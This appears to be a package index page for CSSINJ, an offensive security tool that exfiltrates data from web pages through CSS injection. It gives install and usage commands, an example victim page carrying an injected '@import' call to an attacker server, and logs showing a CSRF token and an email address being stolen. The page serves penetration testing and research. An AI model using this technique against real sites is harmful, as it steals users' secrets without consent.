Skip to main content

CSSINJ

  _____   _____   _____  _____  _   _       _     _____  __     __
 / ____| / ____| / ____||_   _|| \ | |     | |   |  __ \ \ \   / /
| |     | (___  | (___    | |  |  \| |     | |   | |__) | \ \_/ /
| |      \___ \  \___ \   | |  | . ` | _   | |   |  ___/   \   /
| |____  ____) | ____) | _| |_ | |\  || |__| | _ | |        | |
 \_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_|        |_|

About

CSSINJ is a penetration testing tool that exploits CSS injection vulnerabilities to exfiltrate sensitive information from web applications. This tool is designed for security professionals to assess the security posture of web applications by demonstrating how CSS can be used to extract data covertly.

Installation

To install CSSINJ, run the following command:

pip install cssinj

# Or with uv
uv add cssinj

Now you’re ready to use CSSINJ!

Usage

python3 -m cssinj [-h] [--version] [-H HOSTNAME] [-p PORT] [-e ELEMENT]
                  [-a ATTRIBUTE] [-d] [-v | -q] [--no-banner]
                  [--log-file LOG_FILE] [-m {recursive,font-face}]
                  [-o [OUTPUT]] [-t TIMEOUT]

Options

Option Description
-h, --help Show help message and exit
--version Show program version and exit
-H, --hostname Attacker hostname or IP address (default: 127.0.0.1)
-p, --port Port number of the attacker (default: 5005)
-e, --element HTML element to extract data from (default: input)
-a, --attribute Element attribute selector to exfiltrate (default: value). Deprecated alias: --attribut
-m, --method Exfiltration strategy: recursive or font-face (default: recursive)
-d, --details Show detailed (debug) logs, including extracted data
-v, --verbose Enable debug-level logging
-q, --quiet Only log warnings and errors
--no-banner Do not print the ASCII banner on startup
--log-file LOG_FILE Also write structured logs to this file
-t, --timeout Seconds before considering exfiltration complete, for font-face (default: 3.0)
-o, --output [OUTPUT] Store the exfiltrated data as JSON (default file: output.json)

Example

Victim's View :

<h1>Welcome on my page !</h1>
<input type="text" id="username" value="admin" disabled>
<input type="email" id="email" value="admin@admin.XX" disabled>
<input type="text" class="csrf" value="MySecretAdminToken" hidden>
<img src="XXXXXXXXXXX.XX">
...
<style>
  @import url('//localhost:5005/start');
</style>
...

Recursive attack

Using a specific HTML identifier :
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e input
  _____   _____   _____  _____  _   _       _     _____  __     __
 / ____| / ____| / ____||_   _|| \ | |     | |   |  __ \ \ \   / /
| |     | (___  | (___    | |  |  \| |     | |   | |__) | \ \_/ /
| |      \___ \  \___ \   | |  | . ` | _   | |   |  ___/   \   /
| |____  ____) | ____) | _| |_ | |\  || |__| | _ | |        | |
 \_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_|        |_|

[2025-03-11T03:06:49] INFO    🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11T03:06:49] INFO    🌐 Connection from ::1
[2025-03-11T03:06:49] INFO     [1] - The value exfiltrated from input is : MySecretAdminToken
[2025-03-11T03:06:49] INFO     [1] - The value exfiltrated from input is : admin@admin.XX
[2025-03-11T03:06:49] INFO     [1] - The value exfiltrated from input is : admin
Using a specific CSS attribute selector and a generic HTML identifier:
~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e '*' -a src
  _____   _____   _____  _____  _   _       _     _____  __     __
 / ____| / ____| / ____||_   _|| \ | |     | |   |  __ \ \ \   / /
| |     | (___  | (___    | |  |  \| |     | |   | |__) | \ \_/ /
| |      \___ \  \___ \   | |  | . ` | _   | |   |  ___/   \   /
| |____  ____) | ____) | _| |_ | |\  || |__| | _ | |        | |
 \_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_|        |_|

[2025-03-11T03:06:49] INFO    🛠️ Attacker's server started on 127.0.0.1:5005
[2025-03-11T03:06:49] INFO    🌐 Connection from ::1
[2025-03-11T03:06:49] INFO     [1] - The src exfiltrated from * is : XXXXXXXXXXX.XX

Font-face attack

Note: The font-face method reveals which characters are present in the target element, not their order — which is why the output below is not in reading order.

~ python3 -m cssinj -H 127.0.0.1 -p 5005 -e h1 --method font-face -d
  _____   _____   _____  _____  _   _       _     _____  __     __
 / ____| / ____| / ____||_   _|| \ | |     | |   |  __ \ \ \   / /
| |     | (___  | (___    | |  |  \| |     | |   | |__) | \ \_/ /
| |      \___ \  \___ \   | |  | . ` | _   | |   |  ___/   \   /
| |____  ____) | ____) | _| |_ | |\  || |__| | _ | |        | |
 \_____||_____/ |_____/ |_____||_| \_| \____/ (_)|_|        |_|

[2025-05-21T03:06:49] INFO    🛠️ Attacker's server started on 127.0.0.1:5005
[2025-05-21T03:06:49] INFO    🌐 Connection from 127.0.0.1
[2025-05-21T03:06:49] DEBUG   ⚙️ ID : 1
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: W
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: e
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: l
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: c
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: o
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: m
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: n
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: y
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: p
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: a
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: g
[2025-05-21T03:06:49] DEBUG   🔎 [1] - Exfiltrating element: !
[2025-05-21T03:06:52] INFO     [1] - Characters found in h1: Welcomnyp ag!

Browser-Specific Behavior

The success of CSS injection attacks using @import depends on the browser's handling of CSS imports:

  • Chromium-based browsers (Chrome, Edge, Brave, etc.) allow recursive CSS imports and will process the injected styles, making them vulnerable to exfiltration techniques using @import.

  • Firefox, however, handles @import differently:

    • Unlike Chromium-based browsers, Firefox processes all @import rules before applying any styles.
    • As a result, the attack fails because the browser never processes the CSS selectors, preventing data exfiltration.
    • This behavior causes an infinite loop where the browser keeps waiting for a CSS update that never happens.

This difference in behavior makes Chromium-based browsers more susceptible to CSS injection exfiltration, while Firefox provides better protection against such attacks.

Todo

  • General :

    • Add error Handler
      • File error Handler
    • Add test
    • Edit Terminal
  • Injection :

    • Add timeout for font-face exfiltration
  • Complete Exfiltration (Blind):

    • 0. Complete dom objects
    • 1. Get Structure of the HTML (Tags)
    • 2. Get all Attributs for each Element
    • 3. Get all value for each Attributs
    • 4. Get text using font-face exfiltration

Disclaimer

This tool is intended only for ethical hacking and security research. Unauthorized use on systems without explicit permission is illegal. The developer is not responsible for any misuse of this tool.

Author

CSSINJ was developed by DonAsako.

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

cssinj-0.4.0.tar.gz (44.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

cssinj-0.4.0-py3-none-any.whl (43.1 kB view details)

Uploaded Python 3

File details

Details for the file cssinj-0.4.0.tar.gz.

File metadata

  • Download URL: cssinj-0.4.0.tar.gz
  • Upload date:
  • Size: 44.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.14

File hashes

Hashes for cssinj-0.4.0.tar.gz
Algorithm Hash digest
SHA256 fd5d244b8c672f34aa1e16d7e914ff19e0ced8a457b35735a517da7c1b4b5742
MD5 4189de900ccf3cd983999063c032470e
BLAKE2b-256 4a025d02eaee703e14225dd54f66d7b87f1a5978df07745e6bcbb53938e00657

See more details on using hashes here.

Provenance

The following attestation bundles were made for cssinj-0.4.0.tar.gz:

Publisher: publish-to-pypi.yml on DonAsako/CSSinj

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file cssinj-0.4.0-py3-none-any.whl.

File metadata

  • Download URL: cssinj-0.4.0-py3-none-any.whl
  • Upload date:
  • Size: 43.1 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.14

File hashes

Hashes for cssinj-0.4.0-py3-none-any.whl
Algorithm Hash digest
SHA256 f5de0609dfd872fe3a5ffb0289b219e08c5f8427225f39745a503803b9508af6
MD5 ea02c32eee66aa8ea67278546c436acc
BLAKE2b-256 cc0c9c619a5434ddadc3bb735dd3e64930b090e9fac3e31f65674521f1a6426c

See more details on using hashes here.

Provenance

The following attestation bundles were made for cssinj-0.4.0-py3-none-any.whl:

Publisher: publish-to-pypi.yml on DonAsako/CSSinj

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Release history Release notifications | RSS feed

This release

0.4.0 This release

2 files

0.3.0

2 files

0.2.1

2 files

0.2.0

2 files

0.1.0

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page